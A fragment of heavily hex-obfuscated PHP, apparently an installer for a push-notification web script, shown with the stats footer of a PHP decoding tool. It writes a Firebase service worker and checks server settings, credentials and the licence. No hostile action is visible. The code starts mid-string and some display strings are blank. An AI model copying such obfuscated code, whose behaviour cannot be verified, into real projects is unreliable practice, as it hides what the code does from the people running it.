{});\n\t\t\t}\n\t\t});\n\t\te\x2enot\x69fic\x61ti\x6f\x6e\x2e\x63\x6cos\x65();\n\t\te\x2e\x77\x61\x69t\x55n\x74\x69\x6c(f)\x3b\n\t})\x3b\n\n\t\x76\x61r\x20m\x65ssag\x69\x6e\x67 =\x20f\x69\x72\x65bas\x65.mes\x73agin\x67()\x3b\n\tm\x65\x73sagi\x6eg.\x73e\x74\x42ac\x6bg\x72\x6f\x75\x6ed\x4des\x73\x61\x67eHandl\x65\x72(\x66un\x63t\x69o\x6e(p\x61\x79\x6c\x6f\x61\x64){\n\t\tret\x75rn s\x65\x6c\x66.\x72\x65\x67is\x74ra\x74\x69o\x6e\x2eshow\x4e\x6fti\x66\x69c\x61t\x69on(\x70ayl\x6f\x61d\x2ed\x61\x74a\x2etit\x6c\x65,\n\t\t\t\t\tO\x62\x6ae\x63t\x2eass\x69\x67\x6e({\x64\x61\x74a: pa\x79l\x6fa\x64\x2e\x64ata}, pa\x79\x6coad\x2ed\x61\x74\x61))\x3b\n\t});";@file_put_contents("./\x66\x69\x72\x65ba\x73e-mes\x73a\x67\x69n\x67-\x73\x77.\x6as",tplReplace(array("\x66cm_s\x65\x6e\x64\x65r_\x69\x64"=>${${"\x47\x4cO\x42\x41\x4c\x53"}["\x72n\x73i\x75\x6f"]}["\x66\x63\x6d_s\x65nd\x65r\x5f\x69\x64"]),${${"G\x4c\x4f\x42\x41\x4cS"}["\x6fdyc\x64n\x62\x68\x78\x65\x69"]}));getRedirect(${${"\x47\x4cO\x42\x41L\x53"}["\x72ns\x69\x75\x6f"]}["\x73\x65\x6cf"]."?a\x64m\x69n=\x6c\x6fgi\x6e");}else{$dumtuvsj="\x5f\x63\x6fn\x66\x69\x67";$lvdylwqnfsv="\x5f\x63\x6f\x6e\x66\x69g";${"\x47\x4c\x4fBALS"}["f\x64\x79\x73\x79\x66v"]="_\x63on\x66i\x67";${"\x47L\x4f\x42\x41\x4c\x53"}["r\x73\x64\x71\x62\x6e\x61\x78\x62m"]="u\x70\x6c\x6fa\x64_c\x68\x6d\x6fd";$odkyleahylo="\x63\x68\x65\x63k_\x73u\x62\x64\x6fma\x69\x6e";${"\x47L\x4f\x42\x41\x4c\x53"}["bitn\x73z\x64\x77\x6d\x65"]="\x64r\x69\x76\x65rs";${"G\x4cO\x42\x41L\x53"}["\x63\x74\x66\x62\x6f\x6d\x68r"]="\x5f\x63o\x6ef\x69\x67";${${"G\x4cO\x42A\x4cS"}["bi\x74\x6e\x73\x7ad\x77me"]}=class_exists("\x50DO")?PDO::getAvailableDrivers():null;$vdkkpsmqfpdd="\x5f\x63\x6f\x6e\x66i\x67";if(function_exists("\x63\x75r\x6c\x5fi\x6eit")){$fgnkepmcmcu="\x63\x68";${"G\x4c\x4f\x42\x41LS"}["\x77f\x71\x78\x67\x70\x64\x6f"]="\x63\x68";if(isset($_GET["ch\x65\x63k\x5f\x73\x75bdom\x61\x69\x6e"])){die("OK");}${${"\x47L\x4f\x42\x41LS"}["\x77\x66q\x78\x67p\x64\x6f"]}=curl_init();$lfjwivqrox="\x5f\x63o\x6e\x66\x69\x67";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6d\x75\x67\x67\x77\x62k\x6bo\x77j"]="\x63h";${"\x47LO\x42A\x4c\x53"}["\x63lv\x62\x73s"]="\x63\x68";curl_setopt(${${"\x47LO\x42\x41LS"}["m\x75\x67g\x77b\x6bk\x6f\x77\x6a"]},CURLOPT_URL,"h\x74\x74ps://".uniqid().".".$_SERVER["H\x54T\x50_H\x4fS\x54"].${$lfjwivqrox}["\x73e\x6cf"]."?c\x68e\x63k\x5f\x73u\x62\x64o\x6da\x69n");curl_setopt(${${"\x47\x4cOB\x41\x4cS"}["\x6e\x69y\x72\x65a\x62"]},CURLOPT_RETURNTRANSFER,1);$rxodfmp="\x63\x68";curl_setopt(${$fgnkepmcmcu},CURLOPT_HEADER,0);curl_setopt(${${"\x47L\x4fB\x41\x4cS"}["\x63\x6c\x76\x62\x73s"]},CURLOPT_SSL_VERIFYPEER,false);$jsqgbfuqvjmu="c\x68";${${"G\x4c\x4fB\x41LS"}["\x6b\x6fdc\x64m\x76\x67mv\x6f"]}=curl_exec(${$rxodfmp});curl_close(${$jsqgbfuqvjmu});}$romxywjfmnu="driv\x65\x72\x73";${"\x47L\x4f\x42\x41\x4cS"}["\x61y\x6d\x64\x77v\x72\x70"]="\x5f\x63\x6f\x6efi\x67";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x63\x77\x6e\x75\x71\x6fbfxybg"]="\x75pl\x6f\x61d_c\x68\x6d\x6fd";${"\x47\x4cO\x42\x41L\x53"}["xduhsx\x69\x6a\x76wy"]="ht\x6d\x6c";$qlldvkd="\x5fc\x6f\x6efi\x67";$dyfduupekhiy="\x5f\x63\x6f\x6e\x66\x69g";${${"\x47\x4cOB\x41LS"}["rs\x64\x71b\x6e\x61\x78\x62\x6d"]}=substr(sprintf("%o",fileperms(${${"\x47\x4c\x4fBA\x4cS"}["\x63t\x66b\x6f\x6d\x68r"]}["ro\x6f\x74"]."/\x75ploa\x64/")),-4);${${"G\x4c\x4fB\x41\x4c\x53"}["f\x69\x68a\x66\x6dp\x6e\x76"]}=tplReplace(array("\x73e\x6cf"=>${$dumtuvsj}["\x73\x65lf"],"do\x6d\x61\x69n"=>$_SERVER["\x48\x54\x54\x50_\x48\x4f\x53\x54"],"c\x68\x65\x63\x6b\x5f\x68\x74\x74p\x73"=>(!empty($_SERVER["\x48T\x54\x50\x53"])&&$_SERVER["\x48\x54T\x50\x53"]!=="\x6ff\x66")||$_SERVER["\x53ER\x56ER_P\x4fRT"]==443?"\x3c\x73tr\x6f\x6eg\x20cl\x61s\x73\x3d\x22\x74e\x78t-\x73u\x63ces\x73\x22></\x73tron\x67\x3e":"\x3cst\x72o\x6e\x67 \x63\x6ca\x73\x73\x3d\x22te\x78\x74-\x64\x61\x6e\x67er\x22\x3e\x20 \x20 H\x54T\x50\x53</\x73\x74ron\x67>","c\x68e\x63\x6b\x5f\x63\x75\x72l"=>function_exists("\x63\x75\x72l_i\x6eit")?"<s\x74\x72on\x67\x20c\x6c\x61ss=\x22\x74\x65xt-s\x75\x63c\x65s\x73\x22\x3e</str\x6f\x6e\x67>":"\x3cstrong \x63\x6ca\x73\x73=\x22\x74ext-d\x61n\x67\x65\x72\x22\x3e \x63\x55\x52L \x20</stro\x6e\x67>","\x63\x68e\x63k\x5fs\x71\x6c\x69\x74\x65\x33"=>in_array("sq\x6ci\x74e",${$romxywjfmnu})?"<s\x74r\x6f\x6eg \x63la\x73\x73\x3d\x22text-s\x75cces\x73\x22\x3e</st\x72\x6fng\x3e":"\x3cstr\x6f\x6eg\x20c\x6ca\x73\x73=\x22t\x65\x78\x74-dang\x65r\x22> S\x71\x4ci\x74\x65\x20\x20 \x20PD\x4f\x3c/strong>","c\x68ec\x6b_\x73\x75\x62\x64\x6f\x6dain"=>isset(${$odkyleahylo})&&${${"G\x4cOBAL\x53"}["ko\x64c\x64mv\x67\x6d\x76o"]}=="OK"?"\x3c\x73\x74r\x6f\x6e\x67 \x63la\x73\x73\x3d\"\x74e\x78\x74-su\x63\x63\x65\x73\x73\"></\x73t\x72\x6fng>":"\x3c\x73\x74r\x6fn\x67\x20\x63las\x73\x3d\"te\x78\x74-\x64a\x6eg\x65r\"\x3e\x20 \x20 \x48T\x54\x50\x53\x3c/str\x6f\x6eg>","che\x63\x6b\x5fup\x6c\x6f\x61d_di\x72"=>${${"G\x4c\x4f\x42A\x4cS"}["cw\x6e\x75\x71\x6f\x62fxy\x62\x67"]}=="0\x37\x35\x35"?"\x3cs\x74\x72\x6f\x6e\x67\x20cl\x61\x73s\x3d\x22t\x65xt-s\x75\x63c\x65\x73\x73\x22\x3e0\x37\x355</\x73\x74ro\x6e\x67>":"\x3c\x73\x74\x72\x6fn\x67\x20\x63las\x73=\x22\x74\x65xt-dan\x67\x65r\"> ".${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x77s\x61q\x6cd\x73\x68\x68h\x64\x74"]}.",\x20\x20 0\x375\x35</\x73\x74\x72o\x6eg>","c\x68\x65c\x6b\x5f\x63\x6f\x6efi\x67\x5fl\x6f\x67in"=>isset(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x66\x64y\x73yf\x76"]}["l\x6fg\x69\x6e"])&&!empty(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x72\x6e\x73\x69\x75\x6f"]}["\x6co\x67i\x6e"])?"<\x73tro\x6e\x67\x20\x63\x6c\x61\x73\x73=\x22\x74ext-s\x75\x63\x63e\x73\x73\"\x3e</\x73t\x72o\x6eg\x3e":"<\x73tr\x6fng\x20\x63l\x61\x73\x73=\x22t\x65xt-\x64an\x67\x65\x72\x22\x3e\x20\x20\x3c/s\x74r\x6fn\x67>","ch\x65c\x6b_\x63onf\x69\x67_p\x61\x73s\x77\x6f\x72d"=>isset(${$qlldvkd}["\x70a\x73\x73\x77\x6fr\x64"])&&!empty(${${"\x47\x4cOB\x41\x4c\x53"}["\x72\x6es\x69\x75\x6f"]}["\x70as\x73\x77o\x72d"])&&preg_match("/^([a-\x660-9]{\x33\x32})\$/",${${"\x47LO\x42\x41\x4cS"}["\x72n\x73\x69u\x6f"]}["\x70a\x73\x73\x77ord"])?"<s\x74\x72ong \x63\x6cas\x73=\x22t\x65x\x74-su\x63\x63\x65ss\x22\x3e\x3c/\x73t\x72o\x6eg\x3e":"\x3cs\x74\x72on\x67\x20\x63l\x61\x73\x73\x3d\x22\x74ext-d\x61\x6e\x67er\"\x3e\x20\x20\x20 \x4dD\x35\x20(,\x203\x32\x20)</\x73\x74ro\x6eg\x3e","c\x68\x65\x63\x6b_\x63\x6fn\x66ig\x5fdb\x6e\x61\x6de"=>isset(${$vdkkpsmqfpdd}["\x64\x62\x6e\x61m\x65"])&&!empty(${${"\x47L\x4fB\x41\x4c\x53"}["\x61\x79\x6d\x64w\x76r\x70"]}["d\x62\x6e\x61\x6d\x65"])?"\x3c\x73tro\x6e\x67\x20cla\x73\x73=\"t\x65xt-\x73u\x63\x63ess\x22\x3e</\x73\x74r\x6f\x6eg>":"<\x73t\x72o\x6e\x67\x20c\x6ca\x73s=\"\x74\x65\x78\x74-\x64an\x67er\x22>\x20 </s\x74rong\x3e","c\x68e\x63k\x5f\x63\x6f\x6ef\x69\x67_f\x63\x6d_\x73\x65n\x64e\x72\x5f\x69\x64"=>isset(${$dyfduupekhiy}["\x66\x63m_\x73\x65\x6ede\x72\x5f\x69\x64"])&&!empty(${$lvdylwqnfsv}["\x66\x63m_se\x6ede\x72_\x69\x64"])?"<\x73t\x72ong cla\x73s=\"\x74ext-s\x75c\x63e\x73\x73\"\x3e\x3c/s\x74\x72o\x6eg>":"\x3c\x73\x74\x72\x6fn\x67\x20\x63l\x61\x73s\x3d\"\x74e\x78\x74-da\x6ege\x72\x22> </\x73t\x72\x6f\x6eg\x3e","c\x68ec\x6b\x5fc\x6f\x6e\x66\x69\x67_fcm_s\x65\x72\x76\x65\x72_\x6be\x79"=>isset(${${"\x47\x4cO\x42A\x4c\x53"}["r\x6e\x73\x69\x75o"]}["fc\x6d\x5fs\x65r\x76er\x5fke\x79"])&&!empty(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x72\x6e\x73\x69\x75o"]}["\x66cm_s\x65\x72\x76e\x72\x5f\x6b\x65y"])?"\x3c\x73\x74ro\x6eg\x20c\x6c\x61ss\x3d\x22te\x78\x74-suc\x63\x65ss\x22\x3e</\x73\x74\x72on\x67>":"\x3cs\x74\x72on\x67\x20\x63la\x73s=\x22te\x78t-d\x61\x6ege\x72\"> \x3c/s\x74\x72ong>","\x63\x68eck_c\x6fn\x66ig_\x6cic\x65\x6e\x73e"=>isset(${${"G\x4cO\x42\x41\x4c\x53"}["\x72\x6e\x73\x69uo"]}["\x6c\x69\x63e\x6e\x73e"])&&!empty(${${"\x47L\x4f\x42\x41L\x53"}["r\x6es\x69uo"]}["\x6cic\x65\x6e\x73e"])?"\x3c\x73tr\x6f\x6eg \x63\x6cas\x73=\"te\x78\x74-\x73ucce\x73\x73\x22\x3e ,\x20\x20\x20</s\x74\x72o\x6e\x67\x3e":"<s\x74\x72\x6fng\x20\x63l\x61\x73\x73\x3d\"t\x65xt-\x64ang\x65\x72\">\x20\x20</s\x74\x72\x6f\x6eg>",),tplLoad("\x69nstall"));die(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x78\x64uhs\x78\x69j\x76\x77\x79"]});}}}else{die("\n\t\t<\x21d\x6f\x63ty\x70\x65\x20ht\x6dl>\n\t\t<\x68tml>\n\t\t\t<\x68\x65a\x64>\n\t\t\t\t\x3c\x6de\x74a \x63\x68ar\x73et\x3d\x22u\x74\x66-8\" /\x3e\n\t\t\t\t<\x74i\x74l\x65> \x3c/ti\x74le>\n\t\t\t\x3c/he\x61d>\n\t\t\t\x3cbod\x79 sty\x6ce=\"ba\x63\x6b\x67\x72\x6fu\x6e\x64-\x63\x6f\x6cor:\x20#\x66\x38\x668\x66\x38\x3b\">\n\t\t\t\t\x3cdiv s\x74\x79l\x65\x3d\"\x74e\x78t-a\x6cign: cen\x74er\x3b p\x61dding: \x350px\x3b \x66\x6f\x6et-fa\x6d\x69\x6c\x79:\x20T\x61h\x6f\x6d\x61\x3b f\x6fnt-\x73i\x7ae:\x20\x31\x2e5\x72\x65m;\x22> \x20\x20</\x64i\x76>\n\t\t\t\x3c/b\x6f\x64y\x3e\n\t\t\x3c/\x68\x74ml\x3e\n\t");}
?>
Function Calls
None |
Stats
MD5 | 4a414abe72284113dbbc6ea5dc37597c |
Eval Count | 0 |
Decode Time | 407 ms |